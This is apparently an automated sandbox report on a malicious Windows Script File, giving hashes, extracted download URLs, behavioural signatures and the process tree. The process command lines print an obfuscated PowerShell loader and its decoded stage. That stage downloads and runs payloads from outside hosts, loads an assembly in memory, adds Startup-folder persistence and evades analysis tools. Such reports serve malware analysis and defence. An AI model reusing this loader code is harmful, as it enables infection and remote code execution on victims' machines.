Analysis
-
max time kernel
145s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-12-2024 15:50
Static task
static1
Behavioral task
behavioral1
Sample
ba164adf0e3d7ada31a03e9bf73e26f5.wsf
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ba164adf0e3d7ada31a03e9bf73e26f5.wsf
Resource
win10v2004-20241007-en
General
-
Target
ba164adf0e3d7ada31a03e9bf73e26f5.wsf
-
Size
31KB
-
MD5
ba164adf0e3d7ada31a03e9bf73e26f5
-
SHA1
2580810407a9e6189d3ea643c6a49679babf230c
-
SHA256
61801bf75d5af4f325190112cdd42e811a857d77284db0cd8022f926ae922823
-
SHA512
c674aeb0c34c9b9c66b99384f5a75ab77aad9c14356f33a0ef741325f1de455af635f73bc14b8283ed7890cfbf875adbfb9d48a84904cd080a6f22962dba9e57
-
SSDEEP
768:i+vnInInInInInInInIncnjnInInInInInInInInInInInInInInInInm:i+f22222222yL2222222222222222m
Malware Config
Extracted
https://desckvbrat.com.br/Upcrypter/01/DLL01.txt
https://drive.google.com/uc?export=download&id=
https://desckvbrat.com.br/Upcrypter/01/DLL01.txt
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 6 4292 WScript.exe 17 1456 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation WScript.exe -
pid Process 1328 powershell.exe 1216 powershell.exe 1456 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1216 powershell.exe 1216 powershell.exe 1456 powershell.exe 1456 powershell.exe 1456 powershell.exe 1328 powershell.exe 1328 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1216 powershell.exe Token: SeDebugPrivilege 1456 powershell.exe Token: SeDebugPrivilege 1328 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4292 wrote to memory of 1216 4292 WScript.exe 84 PID 4292 wrote to memory of 1216 4292 WScript.exe 84 PID 1216 wrote to memory of 1456 1216 powershell.exe 86 PID 1216 wrote to memory of 1456 1216 powershell.exe 86 PID 1456 wrote to memory of 1328 1456 powershell.exe 88 PID 1456 wrote to memory of 1328 1456 powershell.exe 88
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ba164adf0e3d7ada31a03e9bf73e26f5.wsf"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $hscsj = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAFAAdw' + [char]66 + 'XAFcAdAAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'PAG8AQQ' + [char]66 + 'NAHEALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAUA' + [char]66 + '3AFcAVw' + [char]66 + '0ACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAUA' + [char]66 + '3AFcAVw' + [char]66 + '0ACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAFAAdw' + [char]66 + 'XAFcAdAAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'QAHcAVw' + [char]66 + 'XAHQAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'KAHkAVQ' + [char]66 + 'EAHEAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'QAHcAVw' + [char]66 + 'XAHQAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'KAHkAVQ' + [char]66 + 'EAHEAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoARA' + [char]66 + 'tAHcAbQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoARA' + [char]66 + 'tAHcAbQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAEoAeQ' + [char]66 + 'VAEQAcQAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAeQ' + [char]66 + 'NAGUAcw' + [char]66 + 'hAEIAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAIAA7AGMAZQ' + [char]66 + 'tAFIAYwAkACAAPQAgAGUAcw' + [char]66 + 'hAGIAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAJAA7ACAAKQAgAGsAZA' + [char]66 + '6AHgAYwAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAdwAkACAAPQAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIA' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACAAPQAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAOwApACcAdA' + [char]66 + '4AHQALgAxADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8AJwAgACsAIAAnAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACgAIAA9ACAAaw' + [char]66 + 'kAHoAeA' + [char]66 + 'jACQAOw' + [char]66 + '9ADsAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIA' + [char]66 + 'uAHIAdQ' + [char]66 + '0AGUAcgA7ACkAKQ' + [char]66 + 'lAHMAYQ' + [char]66 + 'iAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TACQAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAdA' + [char]66 + 'lAEcALgA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkADsAew' + [char]66 + '5AE0AZQ' + [char]66 + 'zAGEAQgAgAG4Abw' + [char]66 + 'pAHQAYw' + [char]66 + 'uAHUARgA7AGUAcw' + [char]66 + 'hAGIAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAbg' + [char]66 + 'sAGcAcA' + [char]66 + 'uACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAcA' + [char]66 + 'tAHQAegAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHAAbQ' + [char]66 + '0AHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + '0AHAAbQ' + [char]66 + '0AHoAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAG4AbA' + [char]66 + 'nAHAAbgAkACgAIAA9ACAAbg' + [char]66 + 'sAGcAcA' + [char]66 + 'uACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAbg' + [char]66 + 'sAGcAcA' + [char]66 + 'uACQAKAAgAD0AIA' + [char]66 + 'uAGwAZw' + [char]66 + 'wAG4AJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAG4AbA' + [char]66 + 'nAHAAbgAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$hscsj = $hscsj.replace('уЦϚ' , 'B') ;;$ddlzy = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $hscsj ) ); $ddlzy = $ddlzy[-1..-$ddlzy.Length] -join '';$ddlzy = $ddlzy.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\ba164adf0e3d7ada31a03e9bf73e26f5.wsf');powershell $ddlzy2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$npgln = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$npgln = ($npgln + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$npgln = ($npgln + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ztmpt = (New-Object Net.WebClient);$ztmpt.Encoding = [System.Text.Encoding]::UTF8;$ztmpt.DownloadFile($npgln, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\ba164adf0e3d7ada31a03e9bf73e26f5.wsf' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$Stringbase;Function BaseMy{;$Fyfdz = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($Stringbase));return $Fyfdz;};$cxzdk = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $cxzdk ) ;$Stringbase = $cRmec; $cRmec = BaseMy;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$qDUyJ = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$mwmDz = $PhrlN.DownloadString( $ufKME ) ;$mwmDz | Out-File -FilePath $qDUyJ -force ;$tWWwP = '$sNwoM = ''C:\Users\Admin\AppData\Local\Temp\ba164adf0e3d7ada31a03e9bf73e26f5.wsf'' ; $ryaeG = (Get-Content -Path ' + $qDUyJ + ' -Encoding UTF8);' ;$tWWwP += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$tWWwP += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$tWWwP += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$tWWwP += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/qMAoO/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$tWWwP | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"3⤵
- Blocklisted process makes network request
